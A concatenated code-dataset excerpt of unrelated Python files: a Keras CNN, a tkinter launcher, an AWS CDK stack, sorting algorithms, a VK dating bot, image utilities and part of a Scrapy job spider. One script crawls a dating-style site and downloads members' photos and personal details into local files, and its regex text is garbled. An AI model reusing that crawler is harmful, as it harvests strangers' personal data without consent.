#print(ans)\r\n\r\nprint(ans)\r\n\r\n\r\n\r\n\r\n\r\n#print(primefactor(35))\r\n","sub_path":"codes/CodeJamCrawler/16_0_3_neat/16_0_3_ParkerGarrison_jamcoin.py","file_name":"16_0_3_ParkerGarrison_jamcoin.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"554989666","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 12 15:46:44 2017\n\n@author: Kyle\n\"\"\"\nimport tensorflow as tf\nimport numpy as np\nimport keras \nimport matplotlib.pyplot as plt\nfrom keras import regularizers\nfrom keras.layers import Conv2D, Flatten, Dropout\nfrom keras.layers.pooling import MaxPooling2D\nfrom keras.layers.core import Dense\nimport sys\nsys.path.append(\"../experiment\")\n#import expUtil\nimport math\n\n#%% test convolutional network\ndef specCNN( input, inputHeight = 64, inputWidth = 150, numClass = 2, \\\n convSize = 3, convStride = 1, convUnit = 'relu', l2_reg = 0.01, convLayerNum = 4, \\\n convFilterNum = 32, init = 'lecun_uniform', biasInit = 'Zeros', \\\n dropoutRate = 0.5, poolSize = 2, \\\n denseUnit = 'relu', denseLayerNum = 1, denseUnitNum = 64 ):\n \n # prepare the tensor \n \n# showSample = input[ 5, : ]\n# showSample.resize( [ 256, 256 ] )\n# plt.imshow( showSample , cmap='hot', interpolation='nearest')\n# plt.show()\n input = tf.convert_to_tensor( input )\n sampleNum = input.get_shape().as_list()[ 0 ]\n input = tf.reshape( input, [ sampleNum, inputWidth, inputHeight, 1 ] )\n print( 'After preprocess : ' + str( input.shape ) )\n \n # conv layer\n for layers in range( 0, convLayerNum ):\n with tf.name_scope( 'conv' + str( layers ) ): \n input = Conv2D( filters = convFilterNum, kernel_size = [ convSize, convSize ], strides = convStride, \\\n padding = 'same', activation= convUnit, kernel_regularizer=regularizers.l2( l2_reg ), \\\n kernel_initializer = init, bias_initializer = biasInit )( input )\n \n input = tf.layers.batch_normalization( input )\n input = tf.nn.dropout( input, keep_prob = dropoutRate )\n input = MaxPooling2D( pool_size=( poolSize, poolSize ), padding='valid' )( input )\n print( 'Conv_' + str( layers ) +' : ' + str( input.shape ) )\n \n newShape = input.get_shape().as_list()\n newDim = newShape[ 1 ] *newShape[ 2 ] *newShape[ 3 ]\n input = tf.reshape( input, [ sampleNum, newDim ] )\n print( 'Flatten : ' + str( input.shape ) )\n \n # dense layer\n for layers in range( 0, denseLayerNum ):\n with tf.name_scope( 'dense' + str( layers ) ): \n input = Dense( units = denseUnitNum, activation = denseUnit, kernel_initializer = init, bias_initializer = biasInit )( input )\n input = tf.layers.batch_normalization( input )\n input = tf.nn.dropout( input, keep_prob = dropoutRate )\n print( 'Dense_' + str( layers ) +' : ' + str( input.shape ) )\n \n # output layer\n output = Dense( numClass, activation = 'softmax' )( input )\n print( 'Output : ' + str( output.shape ) )\n \n return output\n\n#%% \nif __name__ == '__main__':\n toyData = expUtil.iter_loadtxt( '../../processedData/toySpectrogram/16000_original/session_1.csv' )[ 0:55, 0:65536 ]\n #toyData = ( toyData - np.mean( toyData ) ) /math.sqrt( np.var( toyData ) )\n testInput = toyData[ 0:15, 0: 9600 ]\n specCNN( input = testInput )\n \n# sns.distplot(toyData, hist=False, rug=True);\n#import seaborn as sns","sub_path":"code/experiment/dcase_simpleNetCNN/ex13_doubleDense_1/0.0008/specCNN.py","file_name":"specCNN.py","file_ext":"py","file_size_in_byte":3176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"568874049","text":"# import practice\r\nfrom tkinter import *\r\n\r\nroot = Tk()\r\n\r\n\r\ndef on_click_level1():\r\n import main_project_file_level1\r\n execfile(\"main_project_file_level1.py\")\r\n\r\n\r\ndef on_click_level2():\r\n import main_project_file_level2\r\n execfile(\"main_project_file_level2.py\")\r\n\r\n\r\ndef on_click_level3():\r\n import main_project_file_level3\r\n execfile(\"main_project_file_level3.py\")\r\n\r\n\r\ndef on_click_level4():\r\n import main_project_file_level4\r\n execfile(\"main_project_file_level4.py\")\r\n\r\n\r\nmyButton = Button(root, text=\"Level 1\", fg=\"white\", bg=\"#914350\",\r\n font=\"Verdana 40\", padx=200, pady=15, command=on_click_level1)\r\nmyButton2 = Button(root, text=\"Level 2\", fg=\"#914350\", bg=\"white\",\r\n font=\"Verdana 40\", padx=200, pady=15, command=on_click_level2)\r\nmyButton3 = Button(root, text=\"Level 3\", fg=\"white\", bg=\"#914350\",\r\n font=\"Verdana 40\", padx=200, pady=15, command=on_click_level3)\r\nmyButton4 = Button(root, text=\"Level 4\", fg=\"#914350\", bg=\"white\",\r\n font=\"Verdana 40\", padx=200, pady=15, command=on_click_level4)\r\nmyLabel = Label(root, text='')\r\n\r\nmyLabel.grid(row=0, column=0)\r\nmyButton.grid(row=2, column=1)\r\nmyButton2.grid(row=6, column=1)\r\nmyButton3.grid(row=10, column=1)\r\nmyButton4.grid(row=14, column=1)\r\n\r\nroot.mainloop()\r\n","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"14284047","text":"import os\nimport boto3\n\nfrom aws_cdk import (\n core,\n aws_certificatemanager as certificatemanager,\n aws_apigateway as apigateway,\n aws_lambda as _lambda,\n aws_s3 as s3,\n aws_iam as iam,\n aws_route53 as route53,\n aws_route53_targets as route53_targets,\n)\n\n\nclass WebBackendDeployStack(core.Stack):\n def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n super().__init__(scope, id, **kwargs)\n\n self.zone = route53.HostedZone.from_lookup(\n self, \"quake_services\", domain_name=\"quake.services\"\n )\n\n \"\"\"\n Get existing certificate\n \"\"\"\n arn = \"arn:aws:acm:{region}:{account}:certificate/{cert}\".format(\n region=\"us-west-2\",\n account=os.getenv(\"CDK_DEFAULT_ACCOUNT\"),\n cert=\"6744abde-0b71-4aa5-94b1-a9f554fb1116\",\n )\n certificate = certificatemanager.Certificate.from_certificate_arn(\n self, \"wildcard_cert\", arn\n )\n\n policy = iam.PolicyStatement(\n resources=[\"*\"],\n actions=[\n \"dynamodb:Get*\",\n \"dynamodb:Query\",\n \"dynamodb:Scan\",\n \"dynamodb:Describe*\",\n \"dynamodb:List*\",\n ],\n )\n\n \"\"\"\n Define domain name and certificate to use for API Gateway\n \"\"\"\n domain = {\"domain_name\": \"api.quake.services\", \"certificate\": certificate}\n\n \"\"\"\n Get latest version of code\n There is probably a more elegant way of doing this\n But for now this works\n \"\"\"\n s3_bucket_name = \"web-backend-lambda-package\"\n s3client = boto3.client(\"s3\")\n latest_version = s3client.get_object_tagging(\n Bucket=s3_bucket_name, Key=\"function.zip\"\n )\n bucket = s3.Bucket.from_bucket_name(self, \"bucket\", bucket_name=s3_bucket_name)\n\n \"\"\"\n Define Lambda function\n \"\"\"\n code = _lambda.Code.from_bucket(\n bucket=bucket,\n key=\"function.zip\",\n object_version=latest_version.get(\"VersionId\"),\n )\n\n backend = _lambda.Function(\n self,\n \"web-backend\",\n runtime=_lambda.Runtime.PYTHON_3_8,\n handler=\"lambda.lambda_handler\",\n code=code,\n )\n\n backend.add_to_role_policy(statement=policy)\n\n \"\"\"\n Define API Gateway\n \"\"\"\n api = apigateway.LambdaRestApi(\n self,\n \"QuakeServicesAPI\",\n domain_name=domain,\n handler=backend,\n default_cors_preflight_options={\n \"allow_origins\": [\"www.quake.services\"],\n \"allow_methods\": [\"GET\"],\n },\n )\n \"\"\"\n Create Route53 entries\n \"\"\"\n route53.ARecord(\n self,\n \"Alias\",\n zone=self.zone,\n record_name=\"api\",\n target=route53.AddressRecordTarget.from_alias(\n route53_targets.ApiGateway(api)\n ),\n )\n","sub_path":"deploy/deploy_stack.py","file_name":"deploy_stack.py","file_ext":"py","file_size_in_byte":3058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"585562603","text":"# Copyright (C) 2015 Hewlett Packard Enterprise Development LP\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n# Local imports\nfrom opsrest.constants import \\\n OVSDB_SCHEMA_CONFIG, \\\n OVSDB_SCHEMA_STATUS, \\\n OVSDB_SCHEMA_STATS\n\n\nclass RestObject(object):\n def __init__(self):\n pass\n\n def to_json(self):\n json_dict = self.__dict__\n collections = tuple, list, set, frozenset, dict\n result = {}\n for key, value in json_dict.items():\n if isinstance(value, RestObject):\n result[key] = value.to_json()\n elif isinstance(value, collections):\n result[key] = type(value)(collection_value.to_json()\n if isinstance(collection_value,\n RestObject)\n else collection_value\n for collection_value in value)\n else:\n result[key] = value\n return result\n\n @staticmethod\n def from_json(dict_data):\n instance = RestObject()\n collections = tuple, list, set, frozenset\n for key, value in dict_data.items():\n if isinstance(value, dict):\n # A dict is a new object\n if value:\n setattr(instance, key, RestObject.from_json(value))\n else:\n setattr(instance, key, value)\n elif isinstance(value, collections):\n # A list may have an object inside\n setattr(instance, key,\n type(value)(RestObject.from_json(collection_value)\n if isinstance(collection_value, dict)\n else collection_value\n for collection_value in value))\n else:\n setattr(instance, key, value)\n return instance\n\n @staticmethod\n def to_json_list(obj_list):\n dict_list = []\n for obj_data in obj_list:\n dict_list.append(obj_data.to_json())\n return dict_list\n\n @staticmethod\n def create_empty_json(selector=None):\n empty_json = {}\n if selector == OVSDB_SCHEMA_CONFIG:\n empty_json[OVSDB_SCHEMA_CONFIG] = {}\n elif selector == OVSDB_SCHEMA_STATUS:\n empty_json[OVSDB_SCHEMA_STATUS] = {}\n elif selector == OVSDB_SCHEMA_STATS:\n empty_json[OVSDB_SCHEMA_STATS] = {}\n else:\n empty_json = {OVSDB_SCHEMA_CONFIG: {},\n OVSDB_SCHEMA_STATUS: {},\n OVSDB_SCHEMA_STATS: {}}\n return empty_json\n","sub_path":"opsrest/custom/restobject.py","file_name":"restobject.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"112594456","text":"import re\nimport urllib\nfrom time import sleep\nfrom urllib.request import Request, urlopen\n\ndef open_url(url, re_pattern):\n address = Request(url)\n address.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.3; WOW64)')\n html_file = urlopen(url).read().decode('utf-8')\n pattern = re.compile(re_pattern)\n items = re.findall(pattern, html_file)\n return items\n\nweb_page = 'http://date.jobbole.com/page/'\npattern_1= '
\\s*?<.+>\\s*(.+)[\\S\\s]+?????:(.+?)<[\\S\\s]+???:(.+?)<[\\S\\s]+???.+?:(.+?)<[\\S\\s]+???:(.+?)<[\\S\\s]+?src=\"(.+?)\"'\nmy_urls=[]\nfor x in range(4,7):\n items=open_url(web_page+str(x), pattern_1)\n for item in items:\n my_urls.append(item[0])\n print(items)\nfor my_url in my_urls:\n sleep(10)\n print(\"processing webpage:\" + my_url)\n new_items=open_url(my_url, pattern_2)\n #print(\"get image:\" +new_items[0]+\"\\n\")\n for new_item in new_items:\n filename = \"C:/Users/Junyu/Desktop/engl119/photo/\" + new_item[0]+\" \"+new_item[1]+\" \"+new_item[2]+\" \"+new_item[3]+\".\"+new_item[4].split('.')[-1]\n print(\"filename: \" +filename)\n try:\n urllib.request.urlopen(new_item[4])\n urllib.request.urlretrieve(new_item[4], filename)\n sleep(10)\n except OSError:\n print(\"??????????\\n\")","sub_path":"Regex_V_Crawler.py","file_name":"Regex_V_Crawler.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"73935371","text":"import time\nfrom datetime import datetime, timedelta\nimport os, sys, string\nfrom netCDF4 import Dataset, num2date\nimport numpy as np\nimport IOatmos\nimport grd\nimport extrapolate as ex\ntry:\n import ESMF\nexcept ImportError:\n print(\"Could not find module ESMF. Required\")\n sys.exit()\n\"\"\"\nThis funcion was created by Trond Kristiansen\nhttps://github.com/trondkr/model2roms\n\"\"\"\ndef laplaceFilter(field, threshold, toxi, toeta):\n undef = 2.0e+35\n tx = 0.9*undef\n critx = 0.01\n cor = 1.6\n mxs = 10\n\n field = np.where(abs(field)>threshold,undef,field)\n\n field = ex.extrapolate.fill(int(1),int(toxi),\n int(1),int(toeta),\n float(tx), float(critx), float(cor), float(mxs),\n np.asarray(field, order='F'),\n int(toxi),\n int(toeta))\n return field\n\ndef createAtmosFileUV(grdROMS,modelpath,atmospath,startdate,enddate,useESMF,myformat,abbreviation,mytype,gridtype):\n\n # Setup \n years = [(int(startdate.year) + kk) for kk in range(1 + int(enddate.year) - int(startdate.year))]\n \n # Create the objects for source and destination grids\n \n # Get the \"Fraction of sfc area covered by ocean\n nor = atmospath + \"NRCP45AERCN_f19_g16_CLE_02.cam2.h0.2006-01.nc\"\n cdf = Dataset(nor,\"r\")\n OCENFRAC = cdf.variables[\"OCNFRAC\"][:]\n cdf.close()\n Fill = -999.0\n\n grdMODEL = grd.grdClass(nor, mytype, mytype, useESMF,'atmos')\n \n # Create the outputfile\n outfilename= abbreviation + '_windUV_' + str(mytype) + '_' + str(startdate.year) + '_to_' + str(enddate.year) + '.nc'\n IOatmos.createNetCDFFileUV(grdROMS, outfilename, myformat, mytype)\n \n # Setup ESMF for interpolation (calculates weights)\n grdMODEL.fieldSrc = ESMF.Field(grdMODEL.esmfgrid, \"fieldSrc\", staggerloc=ESMF.StaggerLoc.CENTER)\n grdMODEL.fieldDst_rho = ESMF.Field(grdROMS.esmfgrid, \"fieldDst\", staggerloc=ESMF.StaggerLoc.CENTER)\n grdMODEL.regridSrc2Dst_rho = ESMF.Regrid(grdMODEL.fieldSrc, grdMODEL.fieldDst_rho, regrid_method=ESMF.RegridMethod.BILINEAR)\n","sub_path":"atmosForcing.py","file_name":"atmosForcing.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"68861720","text":"# a collection of different sorting algorithms in python\n\n\ndef merge_sort(input):\n \"merge sort: divide, sort each side, then merge recursively\"\n\n # base case: one element left\n if len(input) < 2:\n return input\n\n middle = len(input) // 2\n left = input[:middle]\n right = input[middle:]\n\n left = merge_sort(left)\n right = merge_sort(right)\n return merge(left, right)\n\n\ndef merge(right, left):\n merged = []\n\n while left and right: # both not empty\n if left[0] < right[0]:\n merged.append(left[0])\n left.pop(0)\n else:\n merged.append(right[0])\n right.pop(0)\n\n if not left:\n merged += right\n elif not right:\n merged += left\n\n return merged\n\n\ndef insertion_sort(input):\n \"insertion sort: takes elts one at a time and inserts it into the correct pos\"\n for i in range(1, len(input)):\n to_insert = input[i]\n j = i - 1\n\n while j >= 0 and (to_insert < input[j]):\n input[j + 1] = input[j]\n j -= 1\n input[j + 1] = to_insert\n\n return input\n\ndef selection_sort(input):\n \"selection sort: repeatedly finds the min and slots it into the correct place\"\n for i in range(len(input)):\n min_ind = i\n for j in range(i+1, len(input)):\n if input[j] < input[min_ind]:\n min_ind = j\n\n # simple syntax for switching places in python\n input[i], input[min_ind] = input[min_ind], input[i]\n\n return input\n\n\ndef quick_sort(input):\n # TODO implement this\n pass\n\n\ndef naive_tester(algo, unsorted_exs, sorted_exs):\n \"a naive tester that checks whether a sorting algo is correct\"\n correct = True\n for i in range(len(unsorted_exs)):\n correct = correct and (algo(unsorted_exs[i]) == sorted_exs[i])\n return correct\n\n\ndef main():\n unsorted_1 = []\n unsorted_2 = [3]\n unsorted_3 = [3, 4, 2, 1]\n unsorted_4 = [1, 2, 3, 4]\n unsorted_5 = [99, 3, 3, 2, -5, 0]\n unsorted_exs = [unsorted_1, unsorted_2, unsorted_3, unsorted_4, unsorted_5]\n\n sorted_1 = []\n sorted_2 = [3]\n sorted_3 = [1, 2, 3, 4]\n sorted_4 = [1, 2, 3, 4]\n sorted_5 = [-5, 0, 2, 3, 3, 99]\n sorted_exs = [sorted_1, sorted_2, sorted_3, sorted_4, sorted_5]\n\n mergesort_correct = naive_tester(merge_sort, unsorted_exs, sorted_exs)\n insertsort_correct = naive_tester(insertion_sort, unsorted_exs, sorted_exs)\n selectsort_correct = naive_tester(selection_sort, unsorted_exs, sorted_exs)\n\n print(\"merge sort correct: {}\".format(mergesort_correct))\n print(\"insertion sort correct: {}\".format(insertsort_correct))\n print(\"selection sort correct: {}\".format(selectsort_correct))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"sorting-algos.py","file_name":"sorting-algos.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"411142779","text":"from model.keyboard.keyboard import button_bot, button_bot_status, button_bot_age\nfrom model.vk_user.community_msg import write_msg\nfrom model.vk_user.vk_user import vk_user\n\n\ndef user_greetings(event, user_full_name):\n write_msg(event.user_id, f\"Привет {vk_user().user_get(user_full_name)}\")\n write_msg(event.user_id, \"Я бот который подберет тебе пару!\")\n write_msg(event.user_id, \"Перед тем как начать знай, что можно написать слово 'меню' или 'инфо',\"\n \"\\nЧтобы посмотреть болле подробную информацию!\")\n write_msg(event.user_id, \"Давай начнем\")\n write_msg(event.user_id, \"Выбери нужный поиск\", keyboard=button_bot(\"Поиск по параметрам\", \"Быстрый поиск\"))\n\n\ndef enter_the_city_input(event):\n write_msg(event.user_id, \"Введи город *город, обязательно слитно\")\n\n\ndef enter_the_city_result(event, extended_city):\n if vk_user().check_city(extended_city):\n write_msg(event.user_id, \"Выбери возвраст\",\n keyboard=button_bot_age(\"18 - 20\", \"21 - 25\", \"26 - 30\", \"31 - 35\", \"36 - 55\"))\n else:\n write_msg(event.user_id, \"Такого города не существует\",\n keyboard=button_bot(\"Поиск по параметрам\", \"Пока\"))\n\n\ndef write_sex(event):\n write_msg(event.user_id, \"Выбери пол\", keyboard=button_bot(\"1-женщина\", \"2-мужчина\"))\n\n\ndef write_status(event):\n write_msg(event.user_id, \"Выбери статус\", keyboard=button_bot_status(\"1 - не женат/не замужем\",\n \"5 - всё сложно\",\n \"6 - в активном поиске\",\n \"0 - не указано\"))\n\n\ndef write_search(event):\n write_msg(event.user_id, \"Нажми на поиск\", keyboard=button_bot(\"Поиск\"))\n\n\ndef logic_search(advanced_search, city_users, user_sex, users_db, result_text, user_id, event):\n if advanced_search:\n search = vk_user().search_users(advanced_search[1], advanced_search[2], advanced_search[3],\n advanced_search[4], advanced_search[5])\n else:\n search = vk_user().search_users(city_users, 18, 55, vk_user().sex_status().get(user_sex), 6)\n\n for like in users_db.select_users_lists(\"Userslikelist\"):\n if like in search:\n search.remove(like)\n\n for black in users_db.select_users_lists(\"Usersblacklist\"):\n if black in search:\n search.remove(black)\n if len(search) == 0:\n write_msg(event.user_id, \"Больше некого нет\", button_bot(\"Еще поищем!\", \"Пока\"))\n\n for item_id in search:\n\n if result_text == \"❤ Нравиться\":\n users_db.insert_users_like_list(item_id, user_id)\n search.remove(item_id)\n write_msg(event.user_id, \"Хороший выбор, продолжим?\", keyboard=button_bot(\"Поиск\", \"Пока\"))\n\n if result_text == \"🖤 Не нравиться\":\n users_db.insert_users_black_list(item_id, user_id)\n search.remove(item_id)\n write_msg(event.user_id, \"Может еще?\", keyboard=button_bot(\"Давай\"))\n\n if result_text == \"Быстрый поиск\" or result_text == \"Поиск\" or result_text == \"Давай\":\n write_msg(event.user_id, 'Ох, дайка мне подумать...)')\n attachment = vk_user().photos_get(item_id)\n search_user_id = f\"https://vk.com/id{item_id}\"\n write_msg(event.user_id,\n f\"Нравиться???\\n{search_user_id}\\nЭто {vk_user().user_get(item_id)}\\nВыбор за тобой\",\n keyboard=button_bot(\"❤ Нравиться\", \"🖤 Не нравиться\", \"Хватит\"),\n attachment=','.join(attachment))\n break\n","sub_path":"model/bots_logic/bots_logic_event_text.py","file_name":"bots_logic_event_text.py","file_ext":"py","file_size_in_byte":4219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"482672051","text":"# Numbering scheme:\n# outer ring (starting at top left and going clockwise) (0, 1, 2, 3, 4)\n# inner ring (starting at top and going clockwise) (5, 6, 7, 8, 9)\n\n\nGROUPS = [\n (0, 5, 6),\n (1, 6, 7),\n (2, 7, 8),\n (3, 8, 9),\n (4, 9, 5)\n]\n\n\ndef ev(group, N):\n return sum(N[i] for i in group)\n\n\ndef is_magic(N):\n s = ev(GROUPS[0], N)\n return all([s == ev(group, N) for group in GROUPS])\n\n\ndef get_concat(N):\n curr = min(enumerate(N[:5]), key=lambda p: p[1])[0]\n # print(start)\n out = []\n for _ in range(5):\n group = GROUPS[curr]\n out.extend(N[i] for i in group)\n curr = (curr + 1) % 5\n return int(''.join(str(n) for n in out))\n\n\n# print(get_concat([9, 8, 7, 6, 5, 2, 0, 3, 1, 4]))\n\n\nfrom itertools import permutations\n\n\ncandidates = []\nfor N in permutations(range(1, 11)):\n if is_magic(N):\n candidates.append(N)\n print(N)\n \nconcats = [get_concat(N) for N in candidates]\nprint(max(c for c in concats if len(str(c)) == 16))\n","sub_path":"Euler/euler 68.py","file_name":"euler 68.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"245354698","text":"from PIL import Image, ImageDraw\nimport hashlib\nimport os\n\n\ndef color(i, size, fill_start, fill_end):\n def channel(c):\n \"\"\"calculate the value of a single color channel for a single pixel\"\"\"\n return fill_start[c] + int((i * 1.0 / size) * (fill_end[c] - fill_start[c]))\n\n \"\"\"calculate the RGB value of a single pixel\"\"\"\n return tuple([channel(c) for c in range(3)])\n\n\ndef apply_grad_to_corner(corner, gradient, backwards=False):\n width, height = corner.size\n width_iter = list(range(width))\n if backwards:\n width_iter.reverse()\n\n for i in range(height):\n grad_pos = 0\n for j in width_iter:\n pos = (i, j)\n pix = corner.getpixel(pos)\n grad_pos += 1\n if pix[3] != 0:\n corner.putpixel(pos, gradient[grad_pos])\n\n return corner\n\n\ndef round_rectangle(size, radius, padding, fill_start, fill_end):\n def add_border(img):\n real_img = Image.new('RGBA', (width + 2 * padding, height + 2 * padding), (0, 0, 0, 0))\n real_img.paste(img, (padding, padding))\n return real_img\n\n def round_corner():\n \"\"\"Draw a round corner\"\"\"\n corner = Image.new('RGBA', (radius, radius), (0, 0, 0, 0))\n draw = ImageDraw.Draw(corner)\n draw.pieslice((0, 0, radius * 2, radius * 2), 180, 270, fill=\"blue\")\n return corner\n\n \"\"\"Draw a rounded rectangle\"\"\"\n width, height = size\n # size = (width + 2*padding, height + 2*padding)\n rectangle = Image.new('RGBA', size)\n\n gradient = [color(i, width, fill_start, fill_end) for i in range(height)]\n\n grad_rect = []\n for i in range(height):\n grad_rect += [gradient[i]] * width\n rectangle.putdata(grad_rect)\n\n orig_corner = round_corner()\n\n # upper left\n corner = orig_corner\n apply_grad_to_corner(corner, gradient, False)\n rectangle.paste(corner, (0, 0))\n\n # lower left\n gradient.reverse()\n backwards = True\n\n corner = orig_corner.rotate(90)\n apply_grad_to_corner(corner, gradient, backwards)\n rectangle.paste(corner, (0, height - radius))\n\n # lower right\n corner = orig_corner.rotate(180)\n apply_grad_to_corner(corner, gradient, True)\n rectangle.paste(corner, (width - radius, height - radius))\n\n # upper right\n gradient.reverse()\n backwards = False\n\n corner = orig_corner.rotate(270)\n apply_grad_to_corner(corner, gradient, backwards)\n rectangle.paste(corner, (width - radius, 0))\n\n return add_border(rectangle)\n\n\nclass HashBlock:\n def __init__(self, size, radius, padding, fill_start, fill_end, U2D_FLAG, save_dir='./blocks/'):\n hash_string = [str(x) for x in [size, radius, padding, fill_start, fill_end, U2D_FLAG]]\n hash_ = hashlib.md5()\n hash_.update(''.join(hash_string).encode('utf-8'))\n self.pic_hash = hash_.hexdigest()\n self.save_dir = save_dir\n self.EXIST_FLAG = False\n\n if os.path.exists(save_dir+self.pic_hash+'.PNG'):\n self.EXIST_FLAG = True\n # print('Pic already exist!')\n else:\n if U2D_FLAG:\n fill_start, fill_end = fill_end, fill_start\n size = (size[0]*10, size[1]*10)\n radius *= 10\n padding *= 10\n self.img = round_rectangle(size, radius, padding, fill_start, fill_end)\n\n def save(self):\n # pic_type = file_name[-3:].upper()\n # if pic_type not in ['JPG', 'PNG', 'BMP']:\n # raise Warning('Invalid image type!')\n if not self.EXIST_FLAG:\n if self.save_dir[-1] != '/':\n self.save_dir += '/'\n self.img.save(self.save_dir+self.pic_hash+'.PNG', 'PNG')\n else:\n print('Pic already exist!')\n return self.pic_hash\n\n\nif __name__ == '__main__':\n hb = HashBlock(\n size=(21, 21),\n radius=2,\n padding=1,\n fill_start=(97, 195, 255),\n fill_end=(199, 234, 255),\n U2D_FLAG=True\n )\n\n pic_hash = hb.save()\n print(pic_hash+'.PNG')\n","sub_path":"Key Codes/src/pdf_gen/src/_color_block.py","file_name":"_color_block.py","file_ext":"py","file_size_in_byte":4008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"168823243","text":"\"\"\" Avionte spider, built on top of base ATSSpider.\n\nscrapy crawl avionte -a extract=1 -a mining_job_id=9999 -a iteration=1 -a url=\"https://login.employmentplus.com/Avionte/Portals/JobBoard/JobSearch.aspx?CompanyID=EmploymentPlus\"\n:w\n\nsample urls:\nhttps://login.employmentplus.com/Avionte/Portals/JobBoard/JobSearch.aspx?CompanyID=EmploymentPlus\nhttps://jobopenings.mau.com/Avionte/Portals/JobBoard/JobSearch.aspx?CompanyID=MAU\nhttps://portals.aviontego.com/Nextaff/Portals/JobBoard/JobSearch.aspx?CompanyID=Nextaff <--currently dead\n\"\"\"\nimport urllib\nimport re\n\nfrom urlparse import urljoin, urlparse, parse_qs\nfrom urllib import urlencode\n\nfrom scrapy.http import Request, FormRequest\nfrom scrapy.selector import HtmlXPathSelector, XmlXPathSelector\nfrom scrapy.exceptions import DropItem\n\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.base.atsspiders import ATSSpider\n\nclass Avionte(ATSSpider):\n name = \"avionte\"\n already_visited = {}\n\n def parse(self, response):\n sel = HtmlXPathSelector(response)\n query = parse_qs(urlparse(response.url).query)\n button = sel.xpath(\"//input[@type='submit' and @value='Search']//@name\").extract()[0]\n view_state = sel.xpath(\"//input[@id='__VIEWSTATE']/@value\").extract()[0]\n event_validation = sel.xpath(\"//input[@id='__EVENTVALIDATION']/@value\").extract()[0]\n\n company_name = query[\"CompanyID\"][0]\n\n self.set_meta_language(response)\n\n formdata = {}\n formdata[\"__EVENTTARGET\"] = button\n formdata[\"__EVENTVALIDATION\"] = event_validation\n formdata[\"__VIEWSTATE\"] = view_state\n\n request = FormRequest(url=response.url, formdata=formdata, callback=self.paginate)\n request.meta[\"company\"] = company_name\n yield request \n\n def paginate(self, response):\n sel = HtmlXPathSelector(response)\n\n pagination_links = sel.xpath(\"//table//td/a[not(contains(text(), 'View Detail'))]\")\n view_detail_links = sel.xpath(\"//table//td//a[contains(text(), 'View Detail')]\")\n\n # so apparently you need to pull this out of each page.\n # I'm guessing that it changes.\n view_state = sel.xpath(\"//input[@id='__VIEWSTATE']/@value\").extract()[0]\n event_validation = sel.xpath(\"//input[@id='__EVENTVALIDATION']/@value\").extract()[0]\n\n for link in pagination_links:\n href = link.xpath(\".//@href\").extract()[0]\n if href in self.already_visited:\n continue\n else:\n self.already_visited[href] = \"\"\n comp = [x.replace(\"'\", \"\") for x in href[href.find(\"(\")+1:href.find(\")\")].split(\",\")]\n formdata = {}\n formdata[\"__EVENTTARGET\"] = comp[0]\n formdata[\"__EVENTARGUMENT\"] = comp[1]\n formdata[\"__EVENTVALIDATION\"] = event_validation\n formdata[\"__VIEWSTATE\"] = view_state\n\n # important! for asp.net pages which submit pagination forms via javascript callback\n # set dont_click to True!\n # default behavior for FormRequest is to try and 'click' a submit button on the form\n # (or at least to simulate a click)\n # not gonna work with JS!\n request = FormRequest.from_response(response, formdata=formdata, callback=self.paginate, dont_click=True)\n request.meta[\"company\"] = response.meta[\"company\"] \n yield request\n\n for job in view_detail_links:\n href = job.xpath(\".//@href\").extract()[0]\n comp = href[href.find(\"(\")+1:href.find(\")\")]\n comp2 = comp[comp.find(\"(\")+1:]\n event_target = [x.replace('\"', '') for x in comp2.split(\",\")][0]\n\n formdata = {}\n formdata[\"__EVENTTARGET\"] = event_target\n formdata[\"__EVENTVALIDATION\"] = event_validation\n formdata[\"__VIEWSTATE\"] = view_state\n\n request = FormRequest.from_response(response, formdata=formdata, callback=self.parse_job_callback(), dont_click=True)\n request.meta[\"company\"] = response.meta[\"company\"]\n yield request\n \n def parse_job(self, response):\n sel = HtmlXPathSelector(response)\n\n # check to see if job is valid!\n if self.validate_parse_job == False:\n raise DropItem(\"Job no longer available.\")\n\n b_item = BrightcorpItemLoader()\n \n job_id = sel.xpath(\"//span[@class='label_bold_style' and contains(text(), 'Job ID')]/../following-sibling::td[1]//span/text()\").extract()\n job_category = sel.xpath(\"//span[@class='label_bold_style' and contains(text(), 'Category')]/../following-sibling::td[1]//span/text()\").extract()\n title = sel.xpath(\"//span[@class='label_bold_style' and contains(text(), 'Position')]/../following-sibling::td[1]//span/text()\").extract()\n jobtype = sel.xpath(\"//span[@class='label_bold_style' and contains(text(), 'Order Type')]/../following-sibling::td[1]//span/text()\").extract()\n company = 